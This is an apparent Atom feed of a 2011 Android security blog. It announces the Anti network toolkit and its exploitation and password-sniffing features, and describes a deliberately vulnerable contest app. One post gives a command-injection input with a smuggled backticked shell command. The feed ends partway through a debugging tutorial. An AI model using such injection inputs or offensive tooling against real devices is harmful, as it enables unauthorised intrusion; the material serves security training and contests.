<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4772265063992204456</id><updated>2012-01-27T16:24:12.174+02:00</updated><category term='malicious javascript'/><category term='function hooking'/><category term='vulnerable app'/><category term='SANS London 2009'/><category term='vulnerability'/><category term='CVE-2010-1807'/><category term='malware'/><category term='predictions'/><category term='adobe'/><category term='malicious software'/><category term='DEFCON'/><category term='IIS 5.1'/><category term='rasmon.dll'/><category term='native code'/><category term='Information Disclosure'/><category term='SANSFIRE'/><category term='presentation'/><category term='command injection'/><category term='black hat'/><category term='ndk'/><category term='firefox'/><category term='XSRF POST METHOD'/><category term='drop-off sites'/><category term='#Anti'/><category term='infected shell'/><category term='use after free'/><category term='IIS 6.0'/><category term='technical information'/><category term='conficker'/><category term='injection'/><category term='pdf exploits'/><category term='hook'/><category term='XN'/><category term='windows 2000 crash'/><category term='DEFCON18'/><category term='SYSTEM'/><category term='heap'/><category term='talk'/><category term='security'/><category term='eabi'/><category term='float parse'/><category term='SANS'/><category term='incident handeling'/><category term='exploiting android app'/><category term='aurora'/><category term='vietnamesse botnet'/><category term='mebroot'/><category term='ed2k'/><category term='trojan'/><category term='IIS'/><category term='APT'/><category term='Exploitation'/><category term='Competition'/><category term='Administrator'/><category term='Encodings'/><category term='android hacking'/><category term='symbol'/><category term='mac'/><category term='zImperium'/><category term='OWNED'/><category term='shutdown'/><category term='worm'/><category term='sql injections'/><category term='in-app exploitation'/><category term='AntiCredits'/><category term='services.exe'/><category term='china'/><category term='python firefox debugger'/><category term='collision attacks'/><category term='suspicious sites'/><category term='pentest'/><category term='WAF'/><category term='anti-virus'/><category term='google'/><category term='Blackhat'/><category term='race condition'/><category term='shellcode'/><category term='Microsoft'/><category term='XSRF'/><category term='computer security'/><category term='javascript'/><category term='debugging'/><category term='2011'/><category term='full'/><category term='RoP'/><category term='trojans'/><category term='kaspersky'/><category term='ARM'/><category term='reverse engineering'/><category term='hacking'/><category term='command'/><category term='using post in XSRF'/><category term='ad_1_.jpg'/><category term='active mitm'/><category term='buffer'/><category term='response to media'/><category term='download'/><category term='webkit'/><category term='black hat dc'/><category term='sdk'/><category term='shell'/><category term='analysis'/><category term='md4'/><category term='aspx shell'/><category term='double free'/><category term='Vulnerable'/><category term='.apk'/><category term='full version'/><category term='Android'/><category term='NT AUTHORITY\SYSTEM'/><category term='Application'/><category term='MiTM'/><category term='PYFFDebugger'/><category term='linux'/><category term='driver'/><category term='apk'/><category term='hash attacks'/><category term='App'/><category term='privillege escalation'/><category term='function logging'/><category term='gdb'/><category term='IIS 5.0'/><category term='logging system'/><category term='Ret2ZP'/><category term='Penetration Testing'/><category term='Stack'/><category term='fun fun fun'/><category term='Exploit'/><category term='packed'/><category term='xbox360'/><category term='ie'/><category term='botnet'/><category term='LAS-VEGAS'/><category term='symbols'/><category term='source'/><category term='Ethical hacking'/><category term='msconfig32.sys'/><category term='sql'/><category term='msconfig32'/><category term='ld_preload'/><category term='Stack Overflow'/><category term='virus'/><category term='DEFCON-18'/><category term='WAF bypass'/><category term='obfuscated code'/><category term='consoles'/><category term='mozilla'/><category term='Password Stealing'/><category term='Android Network Toolkit'/><category term='Anti'/><category term='SYSTEM ACCOUNT'/><title type='text'>Zukifying Security</title><subtitle type='html'>Just me blogging on Computer &amp;amp; Other devices security, Hacking on different platforms and exploitation techniques.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>28</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-3222414236275116746</id><published>2011-10-28T03:01:00.002+02:00</published><updated>2011-10-28T03:03:21.460+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='App'/><category scheme='http://www.blogger.com/atom/ns#' term='full'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='#Anti'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='full version'/><category scheme='http://www.blogger.com/atom/ns#' term='.apk'/><category scheme='http://www.blogger.com/atom/ns#' term='apk'/><category scheme='http://www.blogger.com/atom/ns#' term='Anti'/><category scheme='http://www.blogger.com/atom/ns#' term='Android Network Toolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Anti - Android Network Toolkit 2.1 is out</title><content type='html'>The &lt;b&gt;full&lt;/b&gt; &lt;b&gt;Android Network Toolkit (Anti) &lt;/b&gt;app/APK is located at : &lt;a href="http://anti.zimperium.com/"&gt;http://anti.zimperium.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In-order to download the App (version 2.1) click on Register &amp;amp; Download, Choose email/password and you may download straight to your phone.&lt;br /&gt;Make sure 3rd party application is enabled on your phone via Settings -&amp;gt; Applications -&amp;gt; Unknown Sources.&lt;br /&gt;&lt;br /&gt;p.s:&lt;br /&gt;The app is also available via Android Market (lite version without *ANY* offensive capabilities in-order to fully comply with Android/Google ToS), named : "AntiLite".&lt;br /&gt;&lt;br /&gt;Enjoy &amp;amp; Thank you for all the feedback/support!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-3222414236275116746?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/3222414236275116746/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/10/anti-android-network-toolkit-21-is-out.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3222414236275116746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3222414236275116746'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/10/anti-android-network-toolkit-21-is-out.html' title='Anti - Android Network Toolkit 2.1 is out'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-6207644812781872431</id><published>2011-10-03T03:34:00.002+02:00</published><updated>2011-10-03T03:37:35.274+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Application'/><category scheme='http://www.blogger.com/atom/ns#' term='App'/><category scheme='http://www.blogger.com/atom/ns#' term='AntiCredits'/><category scheme='http://www.blogger.com/atom/ns#' term='#Anti'/><category scheme='http://www.blogger.com/atom/ns#' term='Ethical hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='Anti'/><category scheme='http://www.blogger.com/atom/ns#' term='Android Network Toolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Android Network Toolkit (Anti) Capabilities Video</title><content type='html'>One of the comments asked about how to use the app, I think the best would be posting that recently I helped in designing one of our videos, this is the result:&lt;br /&gt;This video aims to help understand Anti's options quickly.&lt;br /&gt;That was the main purpose, enjoy!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object style="height: 185px; width: 320px;"&gt;&lt;param name="movie" value="http://www.youtube.com/v/tKW-XV59-gk?version=3"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/tKW-XV59-gk?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="320" height="180"&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-6207644812781872431?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/6207644812781872431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/10/android-network-toolkit-anti.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/6207644812781872431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/6207644812781872431'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/10/android-network-toolkit-anti.html' title='Android Network Toolkit (Anti) Capabilities Video'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-1323020478299116350</id><published>2011-08-08T18:55:00.016+03:00</published><updated>2011-10-28T03:03:06.834+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='#Anti'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='.apk'/><category scheme='http://www.blogger.com/atom/ns#' term='apk'/><category scheme='http://www.blogger.com/atom/ns#' term='Anti'/><category scheme='http://www.blogger.com/atom/ns#' term='Android Network Toolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='zImperium'/><title type='text'>Anti - Android Network Toolkit Release Information</title><content type='html'>The &lt;b&gt;full&lt;/b&gt; &lt;b&gt;Android Network Toolkit (Anti) &lt;/b&gt;app/APK is located at : &lt;a href="http://anti.zimperium.com/"&gt;http://anti.zimperium.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In-order to download the App (version 2.1) click on Register &amp;amp; Download, Choose email/password and you may download straight to your phone.&lt;br /&gt;Make sure 3rd party application is enabled on your phone via Settings -&amp;gt; Applications -&amp;gt; Unknown Sources.&lt;br /&gt;&lt;br /&gt;p.s:&lt;br /&gt;The app is also available via Android Market (lite version without *ANY* offensive capabilities in-order to fully comply with Android/Google ToS), named : "AntiLite".&lt;br /&gt;&lt;br /&gt;Enjoy &amp;amp; Thank you for all the feedback/support!!&lt;br /&gt;&lt;br /&gt;Older posts:&lt;br /&gt;&lt;strike&gt;The App is not available to general public now.&lt;/strike&gt; App is available to BETA testers, read end of post.&lt;br /&gt;We're working very hard to get an public official release ASAP.&lt;br /&gt;The APK will be available via the official market.&lt;br /&gt;&lt;br /&gt;Please DO NOT WRITE your emails in the comments : you may register for pre-release at : &lt;a href="http://www.zimperium.com/Android_Network_Toolkit.html"&gt;Anti - Android Network Toolkit Site&lt;/a&gt;&lt;br /&gt;RC1 is out. and has many improvements (such as: RC1's Spy Plugin is now supporting direct link browsing &amp;amp; username/password sniffing capabilities).&lt;br /&gt;&amp;nbsp;Press contact : &lt;a href="mailto:press@zImperium.com"&gt;press@zImperium.com&lt;/a&gt;&lt;br /&gt;Future updates will be posted on &lt;a href="http://www.zimperium.com/"&gt;zImperium&lt;/a&gt;'s website&lt;br /&gt;&lt;br /&gt;UPDATE (EOD 15/10/2011): &lt;a href="http://www.zimperium.com/Android_Network_Toolkit.html"&gt;Anti - Android Network Toolkit BETA&lt;/a&gt;&lt;br /&gt;UPDATE (20/10/2011): New version of &lt;a href="http://www.zimperium.com/Android_Network_Toolkit.html"&gt;Anti BETA&lt;/a&gt; is out!&lt;br /&gt;&lt;br /&gt;We've done major improvements on both Anti the app, and on our server side.&lt;br /&gt;Major fixes done:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - &lt;b&gt;Exploit server is now online.&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - After successful PC exploitation options are:&amp;nbsp; Screenshot, Process list, Execute command, Reboot, and more to be implemented soon.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - While exploiting - New progress bar.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&lt;b&gt; Uploading files to HTTP Server running on the phone&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - &lt;b&gt;Spy plugin works now.&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - &lt;b&gt;Minimum version required for Anti now is Android 2.1Update1 which means, more devices are capable of running Anti now!.&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - UI Fixes.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - New design for attack circle.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - Small bug fixes.&lt;br /&gt;If you're currently in the beta, uninstall your current version and download the new plugins from the &lt;a href="http://www.zimperium.com/Android_Network_Toolkit.html"&gt;BETA Site&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PLEASE DO NOT POST EMAILS IN COMMENTS.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-1323020478299116350?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/1323020478299116350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/08/anti-android-network-toolkit.html#comment-form' title='231 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1323020478299116350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1323020478299116350'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/08/anti-android-network-toolkit.html' title='Anti - Android Network Toolkit Release Information'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>231</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-7107180587993490400</id><published>2011-07-14T02:56:00.005+03:00</published><updated>2011-07-14T03:16:47.659+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON'/><category scheme='http://www.blogger.com/atom/ns#' term='Blackhat'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerable app'/><category scheme='http://www.blogger.com/atom/ns#' term='command injection'/><title type='text'>1st Place at 'Vulnerable Mobile Application' Contest</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-1t5hN5nauSc/ThHOVaeAHtI/AAAAAAAAANE/Fbg1-UdO7HI/s1600/evil_android_thumb.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-1t5hN5nauSc/ThHOVaeAHtI/AAAAAAAAANE/Fbg1-UdO7HI/s1600/evil_android_thumb.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Our submission to the vulnerable APP contest won the 1st place - Motorola XOOM tablet!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Here's one way to exploit the app: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Simple command injection input : "/sdcard/xyz.log:thisifa`/system/bin/id &amp;gt; /sdcard/zukilog.log`fakeemail@gmail.com:this is my new message"&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;I will share the source and more possible ways to exploit it post Blackhat/DEFCON...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-7107180587993490400?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/7107180587993490400/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/07/vulnerable-android-app-contest.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/7107180587993490400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/7107180587993490400'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/07/vulnerable-android-app-contest.html' title='1st Place at &apos;Vulnerable Mobile Application&apos; Contest'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-1t5hN5nauSc/ThHOVaeAHtI/AAAAAAAAANE/Fbg1-UdO7HI/s72-c/evil_android_thumb.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-3277403250274660352</id><published>2011-07-04T17:43:00.002+03:00</published><updated>2011-07-05T14:28:56.779+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Application'/><category scheme='http://www.blogger.com/atom/ns#' term='double free'/><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='race condition'/><category scheme='http://www.blogger.com/atom/ns#' term='Stack Overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Stack'/><category scheme='http://www.blogger.com/atom/ns#' term='exploiting android app'/><category scheme='http://www.blogger.com/atom/ns#' term='Competition'/><category scheme='http://www.blogger.com/atom/ns#' term='heap'/><category scheme='http://www.blogger.com/atom/ns#' term='in-app exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='command'/><category scheme='http://www.blogger.com/atom/ns#' term='injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Vulnerable'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><title type='text'>Creating a vulnerable Android application</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-1t5hN5nauSc/ThHOVaeAHtI/AAAAAAAAANE/Fbg1-UdO7HI/s1600/evil_android_thumb.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-1t5hN5nauSc/ThHOVaeAHtI/AAAAAAAAANE/Fbg1-UdO7HI/s1600/evil_android_thumb.png" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;span style="font-size: xx-small;"&gt;Vulnerable Android App&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;Follow me on twitter &lt;/span&gt;@&lt;a href="http://www.twitter.com/ihackbanme"&gt;ihackbanme&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay, so this was a little journey to create the most vulnerable Android app for a competition by Jack Mannino (first prize was Motorola XOOM).&lt;br /&gt;&lt;br /&gt;I must say, I've been creating lots of vulnerable programs in the past as PoCs/research, but it was usually just one security bug or two, so it was easy to determine when it was the actual security bug for the research or another bug, by mistake.&lt;br /&gt;In this app, there are so many bugs, and we've also decided to write it as bad as possible with as much bad code habits we can possibly create (like tons of variables that are used for the same string or not being used at all, etc), a thing which led it to be almost impossible to debug and add features.&lt;br /&gt;What I think we should have done was creating a working application first, and then adding vulnerabilities and making the code as bad as possible.&lt;br /&gt;The App requests more permissions than it uses. In-app exploitation will not lead to root, but will lead to very high capabilities which another app didn't initially have requested upon installation.&lt;br /&gt;Also,this app can be remotely exploited. &lt;br /&gt;Download the&amp;nbsp;&lt;a href="http://www.zimperium.com/files/MoshZuk.apk"&gt;MoshZuk&lt;/a&gt; Application: contains the following vulnerabilities:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Stack Overflow&lt;/li&gt;&lt;li&gt;Heap Overflow&lt;/li&gt;&lt;li&gt;SQL Injection&lt;/li&gt;&lt;li&gt;Command Injection&lt;/li&gt;&lt;li&gt;Format Strings&lt;/li&gt;&lt;li&gt;Double Free&lt;/li&gt;&lt;li&gt;Directory Traversal&lt;/li&gt;&lt;li&gt;Race Condition&lt;/li&gt;&lt;li&gt;Hardcoded Passwords&lt;/li&gt;&lt;li&gt;Bad code habits&lt;/li&gt;&lt;li&gt;Overblown permissions&lt;/li&gt;&lt;li&gt;Bad file permissions &lt;/li&gt;&lt;/ol&gt;The best part is, we've specially constructed the vulnerabilities so it can be chained (extra points in this competition):&lt;br /&gt;e.g&amp;nbsp; Unchecked permissions (or unchecked sender) may lead to -&amp;gt; Directory traversal + RACE Condition + Heap(or stack) Overflows / Command injection.&lt;br /&gt;First the APK will be released only, so you can test it out and use it to find vulnerabilities within it. After a while we will release some demos and exploitation methods. I hope that we will be able to maintain it to add more vulnerabilities + ways to exploit it, remote and locally (possibly via intents to make it easier).&lt;br /&gt;&lt;br /&gt;What the app does is to send from one GTalk client to another (must have 2 email accounts). A Gtalk message will be sent to the user which will be able to respond a message according to a protocol of MoshZuk.&lt;br /&gt;What is it being used for? Send yourself quick notes so you can remind yourself later via reading the log file or via reading GTalk history.&lt;br /&gt;The protocol for incoming messages is delimited by ":", any other message will receive a "Not supported in protocol" message [HINT: Only 2 ":" are needed per message].&lt;br /&gt;I can tell more about it, by I prefer that you will reverse it and enjoy it more!&lt;br /&gt;&lt;br /&gt;Check logcat for details on debug info!&lt;br /&gt;Download &lt;a href="http://www.zimperium.com/files/MoshZuk.apk"&gt;MoshZuk APK&lt;/a&gt; is here, I will release the code later on!&lt;br /&gt;Enjoy!&lt;br /&gt;&lt;br /&gt;The application was developed by Moshe Vered and Itzhak 'Zuk' Avraham, Feel free to hack it as much as possible, don't forget to write your exploits in the comment section :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-3277403250274660352?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/3277403250274660352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2011/07/creating-vulnerable-android-application.html#comment-form' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3277403250274660352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3277403250274660352'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2011/07/creating-vulnerable-android-application.html' title='Creating a vulnerable Android application'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-1t5hN5nauSc/ThHOVaeAHtI/AAAAAAAAANE/Fbg1-UdO7HI/s72-c/evil_android_thumb.png' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-1889211982045397222</id><published>2011-02-16T19:49:00.004+02:00</published><updated>2011-02-16T20:14:43.918+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='webkit'/><category scheme='http://www.blogger.com/atom/ns#' term='ndk'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='symbols'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='source'/><category scheme='http://www.blogger.com/atom/ns#' term='debugging'/><category scheme='http://www.blogger.com/atom/ns#' term='symbol'/><category scheme='http://www.blogger.com/atom/ns#' term='eabi'/><category scheme='http://www.blogger.com/atom/ns#' term='sdk'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='native code'/><title type='text'>Debugging Environment on Android (Webkit + Symbols)</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-JQ47kA0i6V8/TVwN7NncLSI/AAAAAAAAAKQ/gw14RzBJUqY/s1600/android+logo.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-JQ47kA0i6V8/TVwN7NncLSI/AAAAAAAAAKQ/gw14RzBJUqY/s1600/android+logo.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Android Debugging&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="color: red;"&gt;Follow me on twitter &lt;/span&gt;@&lt;a href="http://www.twitter.com/ihackbanme"&gt;ihackbanme&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you read this, most likely you've tried to debug something on Android and found out it's not as easy as you would have wanted it to be.&lt;br /&gt;Here's a short tutorial, from my memory to get it working. If I forgot something, please write it down in the comments and I will keep this post updated.&lt;br /&gt;&lt;br /&gt;First, There are many mistakes that can be made. The documentation/instructions and warnings under Google's Android website are less useful and you can find yourself compiling the whole environment of Android 2.1 on Ubuntu 8.04 (which is a very big mistake, and you'll waste your time - so don't do it!).&lt;br /&gt;&lt;br /&gt;Make sure you use latest Ubuntu (I'm not a big fan of Ubuntu, as a Slackware user for the last 10 years, but apt-get just does a good job in this setup) to build latest Android.&lt;br /&gt;&lt;br /&gt;Download Android using &lt;a href="http://source.android.com/source/download.html"&gt;GIT &amp;amp; REPO&lt;/a&gt;:&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;pre 